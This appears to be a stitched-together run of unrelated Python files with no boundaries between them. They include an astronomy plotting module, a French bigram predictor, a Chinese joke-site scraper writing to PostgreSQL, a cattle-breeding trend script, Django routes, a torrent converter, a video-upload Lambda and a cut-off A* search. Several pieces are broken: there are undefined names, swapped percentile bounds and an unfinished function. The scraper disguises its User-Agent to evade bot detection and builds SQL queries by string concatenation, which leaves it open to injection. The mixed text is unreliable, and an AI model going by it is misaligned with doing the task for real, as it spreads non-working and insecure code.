# uncompyle6 version 3.7.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04)
# [GCC 8.4.0]
# Embedded file name: /Users/mx/Dropbox (MIT)/Science/Code/allesfitter/allesfitter/general_output.py
# Compiled at: 2019-01-24 13:45:24
"""
Created on Fri Oct  5 01:10:51 2018

@author:
Maximilian N. Günther
MIT Kavli Institute for Astrophysics and Space Research,
Massachusetts Institute of Technology,
77 Massachusetts Avenue,
Cambridge, MA 02109,
USA
Email: maxgue@mit.edu
Web: www.mnguenther.com
"""
from __future__ import print_function, division, absolute_import
import seaborn as sns
sns.set(context='paper', style='ticks', palette='deep', font='sans-serif', font_scale=1.5, color_codes=True)
sns.set_style({'xtick.direction': 'in', 'ytick.direction': 'in'})
sns.set_context(rc={'lines.markeredgewidth': 1})
import numpy as np, matplotlib.pyplot as plt, os, sys, warnings
from astropy.time import Time
warnings.filterwarnings('ignore', category=np.VisibleDeprecationWarning)
warnings.filterwarnings('ignore', category=np.RankWarning)
from exoworlds.lightcurves import lightcurve_tools as lct
from . import config
from .utils import latex_printer
from .computer import update_params, calculate_model, rv_fct, flux_fct, calculate_baseline, calculate_yerr_w

def logprint(*text):
    print(*text)
    original = sys.stdout
    with open(os.path.join(config.BASEMENT.outdir, 'logfile_' + config.BASEMENT.now + '.log'), 'a') as (f):
        sys.stdout = f
        print(*text)
    sys.stdout = original

def draw_initial_guess_samples(Nsamples=1):
    if Nsamples == 1:
        samples = np.array([config.BASEMENT.theta_0])
    else:
        samples = config.BASEMENT.theta_0 + config.BASEMENT.init_err * np.random.randn(Nsamples, len(config.BASEMENT.theta_0))
    return samples

def plot_panel(datadir):
    config.init(datadir)
    fig, axes = plt.subplots(2, 1, figsize=(20, 10))
    for inst in config.BASEMENT.settings['inst_phot']:
        axes[0].plot(config.BASEMENT.data[inst]['time'], config.BASEMENT.data[inst]['flux'], marker='.', ls='none', label=inst)

    for inst in config.BASEMENT.settings['inst_rv']:
        axes[1].plot(config.BASEMENT.data[inst]['time'], config.BASEMENT.data[inst]['rv'], marker='.', ls='none', label=inst)

    axes[0].legend()
    axes[1].legend()
    return (
     fig, axes)

def afplot(samples, companion):
    """
    Inputs:
    -------
    samples : array
        samples from the initial guess, or from the MCMC / Nested Sampling posteriors
    """
    N_inst = len(config.BASEMENT.settings['inst_all'])
    if 'do_not_phase_fold' in config.BASEMENT.settings and config.BASEMENT.settings['do_not_phase_fold']:
        fig, axes = plt.subplots(N_inst, 1, figsize=(6, 4 * N_inst))
        styles = ['full']
    else:
        if config.BASEMENT.settings['phase_variations']:
            fig, axes = plt.subplots(N_inst, 5, figsize=(30, 4 * N_inst))
            styles = ['full', 'phase', 'phase_variation', 'phasezoom', 'phasezoom_occ']
        elif config.BASEMENT.settings['secondary_eclipse']:
            fig, axes = plt.subplots(N_inst, 4, figsize=(24, 4 * N_inst))
            styles = ['full', 'phase', 'phasezoom', 'phasezoom_occ']
        else:
            fig, axes = plt.subplots(N_inst, 3, figsize=(18, 4 * N_inst))
            styles = ['full', 'phase', 'phasezoom']
        axes = np.atleast_2d(axes)
        for i, inst in enumerate(config.BASEMENT.settings['inst_all']):
            for j, style in enumerate(styles):
                if ('zoom' in style) & (inst in config.BASEMENT.settings['inst_rv']):
                    axes[(i, j)].axis('off')
                elif (inst in config.BASEMENT.settings['inst_phot']) & (companion not in config.BASEMENT.settings['companions_phot']):
                    axes[(i, j)].axis('off')
                elif (inst in config.BASEMENT.settings['inst_rv']) & (companion not in config.BASEMENT.settings['companions_rv']):
                    axes[(i, j)].axis('off')
                else:
                    plot_1(axes[(i, j)], samples, inst, companion, style)

    plt.tight_layout()
    return (fig, axes)

def plot_1(ax, samples, inst, companion, style, timelabel='Time'):
    """
    Inputs:
    -------
    ax : matplotlib axis

    samples : array
        Prior or posterior samples to plot the fit from

    inst: str
        Name of the instrument (e.g. 'TESS')

    companion : None or str
        None or 'b'/'c'/etc.

    style:
        'full' / 'phase' / 'phasezoom'

    timelabel:
        'Time' / 'Time_since'

    Notes:
    ------
    yerr / epoch / period:
        come from the initial_guess value or the MCMC median (not from individual samples)

    """
    params_median, params_ll, params_ul = get_params_from_samples(samples)
    if inst in config.BASEMENT.settings['inst_phot']:
        key = 'flux'
        ylabel = 'Relative Flux'
    elif inst in config.BASEMENT.settings['inst_rv']:
        key = 'rv'
        ylabel = 'RV (km/s)'
    else:
        raise ValueError('inst should be listed in inst_phot or inst_rv...')
    if samples.shape[0] == 1:
        alpha = 1.0
    else:
        alpha = 0.1
    if style == 'full':
        x = config.BASEMENT.data[inst]['time']
        if timelabel == 'Time_since':
            x = np.copy(x)
            objttime = Time(x, format='jd', scale='utc')
            xsave = np.copy(x)
            x -= x[0]
        y = config.BASEMENT.data[inst][key]
        yerr_w = calculate_yerr_w(params_median, inst, key)
        ax.errorbar(x, y, yerr=yerr_w, fmt='b.', capsize=0, rasterized=True)
        if config.BASEMENT.settings['color_plot']:
            ax.scatter(x, y, c=x, marker='o', rasterized=True, cmap='inferno', zorder=11)
        if timelabel == 'Time_since':
            ax.set(xlabel='Time since %s [days]' % objttime[0].isot[:10], ylabel=ylabel, title=inst)
        else:
            if timelabel == 'Time':
                ax.set(xlabel='Time (BJD)', ylabel=ylabel, title=inst)
            if x[(-1)] - x[0] < 1:
                dt = 0.0013888888888888887
            else:
                dt = 0.020833333333333332
            xx = np.arange(x[0], x[(-1)] + dt, dt)
            for i in range(samples.shape[0]):
                s = samples[i, :]
                p = update_params(s)
                model = calculate_model(p, inst, key, xx=xx)
                baseline = calculate_baseline(p, inst, key, xx=xx)
                ax.plot(xx, model + baseline, 'r-', alpha=alpha, rasterized=True, zorder=12)

        if timelabel == 'Time_since':
            x = np.copy(xsave)
    else:
        x = config.BASEMENT.data[inst]['time']
        baseline_median = calculate_baseline(params_median, inst, key)
        y = config.BASEMENT.data[inst][key] - baseline_median
        yerr_w = calculate_yerr_w(params_median, inst, key)
        if 'phasezoom' in style:
            zoomfactor = params_median[(companion + '_period')] * 24.0
        else:
            zoomfactor = 1.0
        if inst in config.BASEMENT.settings['inst_rv']:
            for other_companion in config.BASEMENT.settings['companions_rv']:
                if companion != other_companion:
                    model = rv_fct(params_median, inst, other_companion)[0]
                    y -= model

            phase_time, phase_y, phase_y_err, _, phi = lct.phase_fold(x, y, params_median[(companion + '_period')], params_median[(companion + '_epoch')], dt=0.002, ferr_type='meansig', ferr_style='sem', sigmaclip=False)
            if len(x) > 500:
                ax.plot(phi * zoomfactor, y, 'b.', color='lightgrey', rasterized=True)
                ax.errorbar(phase_time * zoomfactor, phase_y, yerr=phase_y_err, fmt='b.', capsize=0, rasterized=True, zorder=11)
            else:
                ax.errorbar(phi * zoomfactor, y, yerr=yerr_w, fmt='b.', capsize=0, rasterized=True, zorder=11)
            ax.set(xlabel='Phase', ylabel=ylabel + '- Baseline', title=inst + ', companion ' + companion + ' only')
            xx = np.linspace(-0.25, 0.75, 1000)
            for i in range(samples.shape[0]):
                s = samples[i, :]
                p = update_params(s, phased=True)
                model = rv_fct(p, inst, companion, xx=xx)[0]
                ax.plot(xx * zoomfactor, model, 'r-', alpha=alpha, rasterized=True, zorder=12)

        elif inst in config.BASEMENT.settings['inst_phot']:
            if 'phase_variation' in style:
                dt = 0.01
            else:
                dt = 0.002
            phase_time, phase_y, phase_y_err, _, phi = lct.phase_fold(x, y, params_median[(companion + '_period')], params_median[(companion + '_epoch')], dt=dt, ferr_type='meansig', ferr_style='sem', sigmaclip=False)
            if len(x) > 500:
                if 'phase_variation' not in style:
                    ax.plot(phi * zoomfactor, y, 'b.', color='lightgrey', rasterized=True)
                    ax.errorbar(phase_time * zoomfactor, phase_y, yerr=phase_y_err, fmt='b.', capsize=0, rasterized=True, zorder=11)
                else:
                    ax.plot(phase_time * zoomfactor, phase_y, 'b.', rasterized=True, zorder=11)
            else:
                ax.errorbar(phi * zoomfactor, y, yerr=yerr_w, fmt='b.', capsize=0, rasterized=True, zorder=11)
                if config.BASEMENT.settings['color_plot']:
                    ax.scatter(phi * zoomfactor, y, c=x, marker='o', rasterized=True, cmap='inferno', zorder=11)
                ax.set(xlabel='Phase', ylabel=ylabel + '- Baseline', title=inst + ', companion ' + companion)
                if style == 'phasezoom':
                    xx = np.linspace(-4.0 / zoomfactor, 4.0 / zoomfactor, 1000)
                elif style == 'phasezoom_occ':
                    xx = np.linspace((-4.0 + zoomfactor / 2.0) / zoomfactor, (4.0 + zoomfactor / 2.0) / zoomfactor, 1000)
                else:
                    xx = np.linspace(-0.25, 0.75, 1000)
                for i in range(samples.shape[0]):
                    s = samples[i, :]
                    p = update_params(s, phased=True)
                    model = flux_fct(p, inst, companion, xx=xx)
                    ax.plot(xx * zoomfactor, model, 'r-', alpha=alpha, rasterized=True, zorder=12)

        if 'phasezoom' in style:
            ax.set(xlim=[-4, 4], xlabel='$\\mathrm{ T - T_0 \\ (h) }$')
        if 'phasezoom_occ' in style:
            ax.set(xlim=[-4 + zoomfactor / 2.0, 4 + zoomfactor / 2.0], ylim=[0.999, 1.0005], xlabel='$\\mathrm{ T - T_0 \\ (h) }$')
        if 'phase_variation' in style:
            ax.set(ylim=[0.9999, 1.0001])

def get_params_from_samples(samples):
    """
    read MCMC results and update params
    """
    theta_median = np.percentile(samples, 50, axis=0)
    theta_ul = np.percentile(samples, 16, axis=0)
    theta_ll = np.percentile(samples, 84, axis=0)
    params_median = update_params(theta_median)
    params_ll = update_params(theta_ll)
    params_ul = update_params(theta_ul)
    return (
     params_median, params_ll, params_ul)

def save_table(samples, mode):
    """
    Inputs:
    -------
    samples : array
        posterior samples
    mode : string
        'mcmc' or 'ns'
    """
    params, params_ll, params_ul = get_params_from_samples(samples)
    with open(os.path.join(config.BASEMENT.outdir, mode + '_table.csv'), 'w') as (f):
        f.write('############ Fitted parameters ############\n')
        for i, key in enumerate(config.BASEMENT.allkeys):
            if key not in config.BASEMENT.fitkeys:
                f.write(key + ',' + str(params[key]) + ',' + '(fixed),\n')
            else:
                f.write(key + ',' + str(params[key]) + ',' + str(params_ll[key]) + ',' + str(params_ul[key]) + '\n')

def save_latex_table(samples, mode):
    """
    Inputs:
    -------
    samples : array
        posterior samples
    mode : string
        'mcmc' or 'ns'
    """
    params_median, params_ll, params_ul = get_params_from_samples(samples)
    label = 'none'
    with open(os.path.join(config.BASEMENT.outdir, mode + '_latex_table.txt'), 'w') as (f):
        with open(os.path.join(config.BASEMENT.outdir, mode + '_latex_cmd.txt'), 'w') as (f_cmd):
            f.write('parameter & value & unit & fit/fixed \\\\ \n')
            f.write('\\hline \n')
            f.write('\\multicolumn{4}{c}{\\textit{Fitted parameters}} \\\\ \n')
            f.write('\\hline \n')
            for i, key in enumerate(config.BASEMENT.allkeys):
                if key not in config.BASEMENT.fitkeys:
                    value = str(params_median[key])
                    f.write(config.BASEMENT.labels[i] + ' & $' + value + '$ & ' + config.BASEMENT.units[i] + '& (fixed) \\\\ \n')
                    f_cmd.write('\\newcommand{\\' + key.replace('_', '') + '}{' + label + '$=' + value + '$} \n')
                else:
                    value = latex_printer.round_tex(params_median[key], params_ll[key], params_ul[key])
                    f.write(config.BASEMENT.labels[i] + ' & $' + value + '$ & ' + config.BASEMENT.units[i] + '& \\\\ \n')
                    f_cmd.write('\\newcommand{\\' + key.replace('_', '') + '}{' + label + '$=' + value + '$} \n')

def show_initial_guess(do_logprint=True, initial_guess_plot=True, return_figs=False):
    """
    Inputs:
    -------
    datadir : str
        the working directory for allesfitter
        must contain all the data files
        output directories and files will also be created inside datadir

    Outputs:
    --------
    This will output information into the console,
    and create a file called datadir/results/initial_guess.pdf
    """
    if do_logprint:
        logprint('\nSettings:')
        logprint('--------------------------')
        for key in config.BASEMENT.settings:
            if config.BASEMENT.settings[key] != '':
                logprint(('{0: <30}').format(key), ('{0: <15}').format(str(config.BASEMENT.settings[key])))
            else:
                logprint(('\n{0: <30}').format(key))

        logprint('\nParameters:')
        logprint('--------------------------')
        for i, key in enumerate(config.BASEMENT.params):
            if key in config.BASEMENT.fitkeys:
                ind = np.where(config.BASEMENT.fitkeys == key)[0][0]
                logprint(('{0: <30}').format(key), ('{0: <15}').format(str(config.BASEMENT.params[key])), ('{0: <5}').format('free'), ('{0: <30}').format(str(config.BASEMENT.bounds[ind])))
            elif config.BASEMENT.params[key] != '':
                logprint(('{0: <30}').format(key), ('{0: <15}').format(str(config.BASEMENT.params[key])), ('{0: <5}').format('set'))
            else:
                logprint(('\n{0: <30}').format(key))

        logprint('\nndim:', config.BASEMENT.ndim)
    if initial_guess_plot == True:
        samples = draw_initial_guess_samples()
        if return_figs == False:
            for companion in config.BASEMENT.settings['companions_all']:
                fig, axes = afplot(samples, companion)
                fig.savefig(os.path.join(config.BASEMENT.outdir, 'initial_guess_' + companion + '.pdf'), bbox_inches='tight')
                plt.close(fig)

        else:
            fig_list = []
            for companion in config.BASEMENT.settings['companions_all']:
                fig, axes = afplot(samples, companion)
                fig_list.append(fig)

            return fig_list

def get_labels(datadir, as_type='dic'):
    config.init(datadir)
    if as_type == '2d_array':
        return config.BASEMENT.labels
    if as_type == 'dic':
        labels_dic = {}
        for key in config.BASEMENT.fitkeys:
            ind = np.where(config.BASEMENT.allkeys == key)[0]
            labels_dic[key] = config.BASEMENT.labels[ind][0]

        return labels_dic


# FAA - TP 10
# Quentin Baert - Thomas Bernard

# -*- coding: utf-8 -*-

import string

# Donne une liste qui contient toutes les lignes d'un fichier
def read_file(file):
    with open(file) as f:
        return f.readlines()

# Supprime la ponctuation d'une phrase
def delete_punctuation(sentence):
    return ''.join(ch for ch in sentence if ch not in set(string.punctuation))

# Nettoie une phrase
def clean_sentence(sentence):
    split_sentence = delete_punctuation(sentence).lower().split()

    return ' '.join(split_sentence[1:])

# Donne la liste de tous les unigrames d'une phrase
def build_sentence_unigrams(sentence):
    clean = clean_sentence(sentence)
    res = []
    split = clean.split()
    l = len(split)

    for i in range(0, l - 1):
        res.append((split[i], split[i + 1]))

    return res

# Donne la liste de tous les unigrames du fichier sentences.txt
def build_unigrams():
    final_unigrams = {}

    # Contient 100 000 phrases issues de Wikipedia
    with open("sentences.txt") as f:
        l = f.readline()

        while l:
            unigrams = build_sentence_unigrams(l)

            for (u1, u2) in unigrams:
                if u1 in final_unigrams:
                    dico = final_unigrams[u1]
                    if u2 in dico:
                        dico[u2] += 1
                    else:
                        dico[u2] = 1
                else:
                    dico = {}
                    dico[u2] = 1
                    final_unigrams[u1] = dico

            l = f.readline()

    return final_unigrams

# Main - Boucle d'interaction et determination du mot suivant
def main():
    print("Veuillez patienter pendant la construction des unigrames.")

    unigrams = build_unigrams()

    print("Pour quitter, tapez \":quit\"")

    sentence = raw_input("Donner le debut d'une phrase : ")

    while not sentence == ":quit":
        sentence_words = sentence.split()
        last_word = sentence_words[len(sentence_words) - 1]

        if (last_word in unigrams):
            potential_next_words = unigrams[last_word]
            next_word = ""
            max = -1

            for word in potential_next_words:
                nb = potential_next_words[word]
                if nb > max:
                    next_word = word
                    max = nb

            print("Prediction : {} {}".format(sentence, next_word))
        else:
            print("Aucune prediction disponible")

        print('-' * 10)
        sentence = raw_input("Donner le debut d'une phrase : ")

    print("-" * 10)
    print("Quit")

if __name__ == "__main__":
    main()


# -*- coding: UTF-8 -*-
#用法 : python qiushi.py <8hr|hot|history|pic|imgrank|text|textnew> <page-num>
#注释 用 chrome 浏览器打开页面,通过审查元素来协助 bs4 解析页面
#注释 用pygresql 将爬取得到的信息保存到postgresql数据库
#postgresql用法：http://www.postgres.cn/docs/9.3/index.html

from bs4 import BeautifulSoup
import re,sys,random
import time
import urllib.request,urllib.parse
import html5lib
import pg
#导入pygresql的模块 pg.py

data=None

#用命令行参数替换抓取的页面
url='http://www.qiushibaike.com/%s/page/%s/'%(sys.argv[1],sys.argv[2])

#随机数替换 User-Agent 指定字段,防止被检测到爬虫后返回403
headers={'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.%s.110 Safari/537.36'%random.randrange(1000,9999)}

#请求 url 然后用 beautifulsoup 解析
req = urllib.request.Request(url,data,headers)
content = urllib.request.urlopen(req).read()
soup = BeautifulSoup(content,"html5lib")                                                #使用 html5lib 为 beautifulsoup 的解析器

db = pg.connect('whd','localhost')                                                      #链接数据库(以我的数据库为例)
db.query("CREATE TABLE IF NOT EXISTS qiushi(id serial ,author VARCHAR,author_pic VARCHAR,content VARCHAR,picture VARCHAR,num_laugh VARCHAR,num_comments VARCHAR)")
                                                                                #如果不存在表则创建该表，()内为各项参数

print(url)                                                                              #输出当前url
print(soup.find('a',id="highlight").get_text())                                         #输出分类<图片|文字|热门>
print(soup.find('div',class_="menu_list").find('li',class_="act").get_text())           #输出<最新|最热>
print(int(soup.find('span',class_="current").get_text()))                               #输出当前页面号

#bs4 解析页面内容部分,将结果保存到 result 中, 这里的 find 后面的参数都是查看网页源码得知
result=[]
for i in soup.find_all('div',class_='article block untagged mb15'):
    #print(i.find('div',class_="author clearfix"))
    details={}
    details['author']=i.find('div',class_="author clearfix").get_text().strip('\n')     #作者名
    details['author-pic']=i.find('div',class_="author clearfix").find('img').get('src') #作者头像
    details['content']=i.find('div',class_="content").get_text().strip('\n')            #内容
    details['num-laugh']=i.find('span',class_="stats-vote").get_text().strip('"')       #“好笑数”
    comments=i.find('a',class_="qiushi_comments")                                       #判断是否存在<评论数>，并获取

    db.query("INSERT INTO qiushi(author,author_pic,content,num_laugh) VALUES('"+details['author']+"','"+details['author-pic']+"','"+details['content']+"','"+details['num-laugh']+"')")
                                                                                #将信息存入数据库表中对应的字段
    if comments != None:
        details['num-comments']=comments.get_text().strip('\n')
        db.query("UPDATE qiushi set num_comments = '"+details['num-comments']+"'WHERE author= '"+details['author']+"'")
                                                                                #将评论数插入到当前行的对应字段
    pics=i.find('div',class_="thumb")                                                   #判断是否存在<图片>，并获取
    if pics != None:
        details['pics']=pics.find('img').get('src')
        db.query("UPDATE qiushi set picture='"+details['pics']+"'WHERE author = '"+details['author']+"' ")
                                                                                #将图片插入到当前行的对应字段
    result.append(details)                                                              #将一条内容存入result中

print(result)                                                                           #输出结果


# -*- coding: utf-8 -*-
from selection10 import TBVPed
import pandas as pd
import sys
import numpy as np
import matplotlib.pyplot as plt
from pylab import legend
import os

TBV  = TBVPed(os.getcwd() + '/')
gens, means, vars = TBV.genTrend('/home/jana/bin/AlphaSim1.05Linux/REAL20GenSel_Gen/SimulatedData/PedigreeAndGeneticValues.txt', 41, 60)
TBV  = TBVPed(os.getcwd() + '/')
gens1, means1, vars1 = TBV.genTrend('/home/jana/compareSel/PedigreeAndGeneticValues.txt', 41, 60)

TBV  = TBVPed(os.getcwd() + '/')
gensA, meansA, varsA = TBV.genTrend('/home/jana/bin/AlphaSim1.05Linux/REAL20GenSel_Gen/SimulatedData/PedigreeAndGeneticValues.txt', 41, 6)

TBV  = TBVPed(os.getcwd() + '/')
gensG, meansG, varsG = TBV.genTrend('/home/jana/bin/AlphaSim1.05Linux/REAL20GenSel_GenSLO/SimulatedData/PedigreeAndGeneticValues.txt', 41, 61)
#plt.errorbar(x = TBV.gens, y = TBV.means, yerr = TBV.vars)

TBV  = TBVPed(os.getcwd() + '/')
gensS, meansS, varsS = TBV.genTrend('/home/jana/bin/AlphaSim1.05Linux/REAL20GenSel_GenSplosnaPop/SimulatedData/PedigreeAndGeneticValues.txt', 41, 61)

TBV  = TBVPed(os.getcwd() + '/')
gensD, meansD, varsD = TBV.genTrend('/home/jana/bin/AlphaSim1.05Linux/REAL20GenSel_GenSLO_BmGen/SimulatedData/PedigreeAndGeneticValues.txt', 41, 61)
#plt.errorbar(x = TBV.gens, y = TBV.means, yerr = TBV.vars)
TBV  = TBVPed(os.getcwd() + '/')
gens2, means2, vars2 = TBV.genTrend('/home/jana/bin/AlphaSim1.05Linux//SimulatedData/PedigreeAndGeneticValues.txt', 41, 61)
#plt.errorbar(x = TBV.gens, y = TBV.means, yerr = TBV.vars)

TBV  = TBVPed(os.getcwd() + '/')
gensE, meansE, varsE = TBV.genTrend('/home/jana/bin/AlphaSim1.05Linux/REAL20GenSel_Gen/SimulatedData/PedigreeAndGeneticValues.txt', 41, 61)
#plt.errorbar(x = TBV.gens, y = TBV.means, yerr = TBV.vars)

Means = pd.DataFrame()
Means.loc[:,'Gen'] = [int(x) for x in gens]
Means.loc[:,'Mean'] = list(means)
Means.loc[:,'Var'] =  list(vars)
Means.loc[:,'Stand'] = (Means.Mean - Means.Mean[0]) / sqrt(Means.Var[0])

Means.loc[:,'Gen1'] = [int(x) for x in gens1]
Means.loc[:,'Mean1'] = list(means1)
Means.loc[:,'Var1'] =  list(vars1)
Means.loc[:,'Stand1'] = (Means.Mean1 - Means.Mean1[0]) / sqrt(Means.Var1[0])

Means.loc[:,'GenA'] = [int(x) for x in gensA]
Means.loc[:,'MeanA'] = list(meansA)
Means.loc[:,'VarA'] =  list(varsA)
Means.loc[:,'StandA'] = (Means.MeanA - Means.MeanA[0]) / sqrt(Means.VarA[0])

Means.loc[:,'GenG'] = [int(x) for x in gensG]
Means.loc[:,'MeanG'] = list(meansG)
Means.loc[:,'VarG'] =  list(varsG)
Means.loc[:,'StandG'] = (Means.MeanG - Means.MeanG[0]) / sqrt(Means.VarG[0])

Means.loc[:,'GenS'] = [int(x) for x in gensS]
Means.loc[:,'MeanS'] = list(meansS)
Means.loc[:,'VarS'] =  list(varsS)
Means.loc[:,'StandS'] = (Means.MeanS - Means.MeanS[0]) / sqrt(Means.VarS[0])

Means.loc[:,'GenD'] = [int(x) for x in gensD]
Means.loc[:,'MeanD'] = list(meansD)
Means.loc[:,'VarD'] =  list(varsD)
Means.loc[:,'StandD'] = (Means.MeanD - Means.MeanD[0]) / sqrt(Means.VarD[0])

plt.plot( Means.Gen, Means.Stand,  label = 'Conventional')
plt.plot( Means.Gen1, Means.Stand1,  label = 'genEddie')
plt.plot( Means.GenG, Means.StandG,  label = 'Conventional_SLO')
plt.plot( Means.GenS, Means.StandS,  label = 'GenBulls on Other Cows')
plt.plot( Means.GenD, Means.StandD,  label = 'GenBulls on Bull Dams')
plt.plot( Means.GenA, Means.StandA,  label = 'GenBulls on All Cows')
plt.plot( Means.GenE, Means.StandE,  label = 'GenBulls on All Cows1')
plt.xticks(Means.Gen)

plt.xlabel('Selected Generation')
plt.ylabel('Mean Generation TBV')
legend(loc='upper left')

#ZBRISALA SI EBV ZA KLASIČNO!!! PREBERI IZ RENUMBERED_SOLUTIONS
#EBVs = pd.read_table('/home/jana/bin/AlphaSim1.05Linux/REAL20GenSel_Class/renumbered_Solutions_60', header=None, sep=" ", names = ['rID', 'ID', 'EBV'])
#EBVs.loc[:, 'Generation'] = list(chain.from_iterable([[i] * 8640 for i in range(1, 61)]))
EBVs.to_csv('/home/jana/bin/AlphaSim1.05Linux/REAL20GenSel_Class/EBVs.txt', index=None, sep=" ")
gensEBV = list(set(EBVs.Generation))
meansEBV = EBVs.EBV.groupby(EBVs.Generation).aggregate(np.mean)

EBV = TBVPed(AlphaSimDir)
gensE, meansE, varsE = EBV.genTrend_EBV('/home/jana/bin/AlphaSim1.05Linux/REAL20GenSel_Class/EBVs.txt', 1, 60)

plt.plot(gens, meansEBV, label='EBV')
plt.xlabel('Selected Generation')
plt.ylabel('Mean Generation TBV')
legend(loc='upper left')

plt.plot(gens, means, label='Conventional')
plt.plot(gens1, means1, label='Conventional_rep1')
plt.plot(gensG, meansG, label='Conventional_SLO')
plt.plot(gensS, meansS, label='GenBulls on Other Cows')
plt.plot(gensD, meansD, label='GenBulls on Bull Dams')
plt.plot(gensE, meansE, label='GenBulls on all cows')
plt.plot(gens2, means2, label='GenBulls on Bull Dams2')

#plt.plot(gensA, meansA, label='GenBulls on all cows BitWrong')
plt.xlabel('Selected Generation')
plt.ylabel('Mean Generation TBV')
legend(loc='upper left')


from django.urls import path

from . import views

app_name = 'frontpage'

urlpatterns = [
    path('', views.IndexView.as_view(), name='index'),
    path('piece/', views.HomeView.as_view(), name='home'),
    path('services/', views.ServicesView.as_view(), name='services'),
    path('thanks/', views.ContactSuccessView.as_view(), name='thanks'),
    path('about/', views.AboutView.as_view(), name='about'),
    path('robots.txt', views.robots, name='robots'),
    path('sitemap.xml', views.SitemapView.as_view(), name='sitemap'),
]


cluster = 'testcluster'
puppet_source = 'git@bitbucket.org:rimey/hello-ec2-puppetboot.git'

region = 'us-east-1'
zones = ['us-east-1a', 'us-east-1b']
total_instances = 2

instance = {
    'image_id': 'ami-a0ba68c9',     # us-east-1 oneiric i386 ebs 20120222
    'instance_type': 't1.micro',
    'key_name': 'awskey',
    'security_groups': ['default'],
}


# libtorrent库装不上,明天换虚拟机上
import libtorrent as lt
import shutil
import tempfile
import os.path as pt
import sys
import requests
from time import sleep

def bt2magnet(path):
    info = lt.torrent_info(path)
    print("magnet:?xt=urn:btih:%s&dn=%s" % (info.info_hash(), info.name()))

def magnet2bt(magnet, output_name=None):
    if output_name and  not pt.isdir(output_name) and not pt.isdir(pt.dirname(pt.abspath(output_name))):
        print("Invalid output folder: " + pt.dirname(pt.abspath(output_name)))
        print("")
        sys.exit(0)
    tempdir = tempfile.mkdtemp()
    ses = lt.session
    params = {
        'save_path': tempdir,
        'duplicate_is_error': True,
        'storage_mode': lt.storage_mode_t(2),
        'paused': False,
        'auto_managed': True
    }
    handle = lt.add_magnet_uri(ses, magnet, params)
    print("Downloading data, this may take a while")
    while(not handle.has_metadata()):
        try:
            sleep(1)
        except KeyboardInterrupt:
            print("Aborting...")
            ses.pause()
            print("Cleanup dir: " + tempdir)
            shutil.rmtree(tempdir)
            sys.exit(0)
    ses.pause()
    print("Done!")
    torinfo = handle.get_torrent_info()
    torfile = lt.create_torrent(torinfo)
    output = pt.abspath(torinfo.name() + ".torrent")
    if output_name:
        if pt.isdir(output_name):
            output = pt.abspath(pt.join(output_name, torinfo.name() + ".torrent"))
        elif pt.isdir(pt.dirname(pt.abspath(output_name))):
            output = pt.abspath(output_name)
    print("Saving torrent file in :" + output + "...")
    torcontent = lt.bencode(torfile.generate())
    f = open(output, "wb")
    f.write(lt.bencode(torfile.generate()))
    f.close()
    print("Saved! Cleanup dir: " + tempdir)
    ses.remove_torrent(handle)
    shutil.rmtree(tempdir)
    return output

# 通过迅雷种子库下载torrent
def magnet_to_torrent(infohash):
    url = "http://bt.box.n0808.com/" + infohash[:2] + "/" + infohash[38:] + "/" + infohash + ".torrent"
    req = requests.get(url)
    fp = open("/usr/Amayadream/" + infohash + ".torrent", "wb")
    fp.write(req.content)
    fp.close()

# bt2magnet("/usr/Amayadream/workspaces/python_workspace/search_demo/spider/test.torrent")
# magnet2bt("magnet:?xt=urn:btih:4a89f8213f7a53c6ba6ca070a05f582a54807feb")
magnet2bt("magnet:?xt=urn:btih:4a89f8213f7a53c6ba6ca070a05f582a54807feb", "/usr/Amayadream")


from collections import OrderedDict
import requests
import json
import config
import os

def get_token():
    base_url = 'https://api.videoindexer.ai/auth/{location}/Accounts?'.format(location=location)
    headers = {'Ocp-Apim-Subscription-Key': primaryKey}
    params = {
        'generateAccessTokens': 'true',
        'allowEdit': 'true',
    }

    return requests.get(base_url, params=params, headers=headers)

def upload_video(accessToken):
    base_url = 'https://api.videoindexer.ai/{location}/Accounts/{accountId}/Videos?' \
        .format(location=location, accountId=accountId)
    headers = {'Content-Type': 'multipart/form-data'}
    params = {'accessToken': accessToken,
              'name': name,
              'videoUrl': videoUrl,
              'callbackUrl': '',
              'streamingPreset': 'Default'
              }

    return requests.post(base_url, params=params, headers=headers)

def post_function(status, message, videoId='', status_code=''):
    # postUrl = os.environ['url']
    payload = {
        "status": status,
        "message": message,
        "errorCode": status_code,
        "respObj": {
            "assetId": assetId,
            "videoId": videoId
        }
    }
    print(json.dumps(OrderedDict(payload)))

    return {
        'statusCode': 200,
        'headers': {'Content-Type': 'application/json'},
        'body': json.dumps(OrderedDict(payload))
    }

def lambda_handler(event, context):
    print("Received event: " + json.dumps(event, indent=2))

    global location, accountId, primaryKey, videoUrl, assetId, callbackUrl, name

    location = config.location
    accountId = config.accountId
    primaryKey = config.primaryKey

    body = json.loads(event['body'])
    videoUrl = body['videoUrl']
    assetId = body['assetId']
    name = body['name']
    callbackUrl = os.environ['callbackUrl']
    resp_token = get_token()

    if resp_token.status_code == 200:
        accessToken = resp_token.json()[0]['accessToken']
        print('access_Token :', accessToken)
        resp_upload = upload_video(accessToken)

        if resp_upload.status_code == 200:
            videoId = resp_upload.json()['id']
            status = 'OK'
            message = 'Upload success'
            print('Video_Id :', videoId)
            return post_function(status, message, videoId)
        else:
            status = 'KO'
            message = resp_upload.json()
            status_code = resp_upload.status_code
            print('Error Occured while upload ----->')
            print('Error message :', resp_upload.json())
            return post_function(status, message, status_code=status_code)
    else:
        status = 'KO'
        message = resp_token.json()
        status_code = resp_token.status_code
        print('Error Occured while get access token ----->')
        print('Error message :', resp_token.json())
        return post_function(status, message, status_code=status_code)

    print(result)


from queue import PriorityQueue
from tools import *

def h(p1, p2):
	x1, y1 = p1
	x2, y2 = p2
	return abs(x1 - x2) + abs(y1 - y2)

def find_shortest_path(came_from, current, draw, start):
	while current in came_from:
		current = came_from[current]
		if current == start:
			break
		current.make_shortest_path()
		draw()

def algorithm(draw, grid, start, end):
	cost = 0
	priority_queue = PriorityQueue()
	priority_queue.put((0, cost, start))
	came_from = {}

	g_cost = {node: float("inf") for row in grid for node in row}
	g_cost[start] = 0

	f_cost = {node: float("inf") for row in grid for node in row}
	f_cost[start] = h(start.get_current_position(), end.get_current_position())

	priority_queue_track = {start}

	while not priority_queue.empty():

		for event in pygame.event.get():
			if event.type == pygame.QUIT:
				pygame.quit()

		current = priority_queue.get()[2]
